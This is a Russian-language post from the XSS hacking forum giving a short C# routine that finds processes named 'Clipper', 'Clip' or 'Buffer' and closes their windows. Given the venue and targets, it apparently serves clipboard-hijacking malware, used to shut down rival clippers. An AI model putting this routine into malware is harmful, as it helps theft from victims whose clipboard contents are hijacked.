• XSS.stack #1 – первый литературный журнал от юзеров форума

Закрываем процессы через список List<string>

EmeliRouse

RAID-массив
Пользователь
Регистрация
28.06.2020
Сообщения
59
Реакции
138
Скрытый контент для зарегистрированных пользователей.

Создаём класс ProcessControl.cs

В него запишем список процессов необходимых для закрытия
C#:
static readonly List<string> ListManagers = new List<string>
{
  "Clipper", "Clip", "Buffer"
};

Создаём метод для закрытия процессов из списка List
C#:
public static void InizializeKiller()
{
   try
   {
      // Получаем наш процесс
      Process currentProcess = Process.GetCurrentProcess();
      // Проходимся по списку
      foreach (string list in ListManagers)
      {
        // Затем получаем имена процессов
        foreach (Process process in Process.GetProcessesByName(list))
        {
           try
           {
              // Делаем проверку на совпадения со списка процессов и не трогаем наш процесс
              if (process.ProcessName.ToLower().Contains(list.ToLower()) && process.ProcessName != currentProcess.ProcessName)
              {
                 try
                 {
                   // За место Kill просто закрываем окна ( это более безопасный метод использования )
                   process.CloseMainWindow();
                 }
                 catch { }
              }
           }
           catch { continue; }
         }
      }
   }
   catch { }
}
Далее просто вызываем метод InizializeKiller(); в любом месте.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх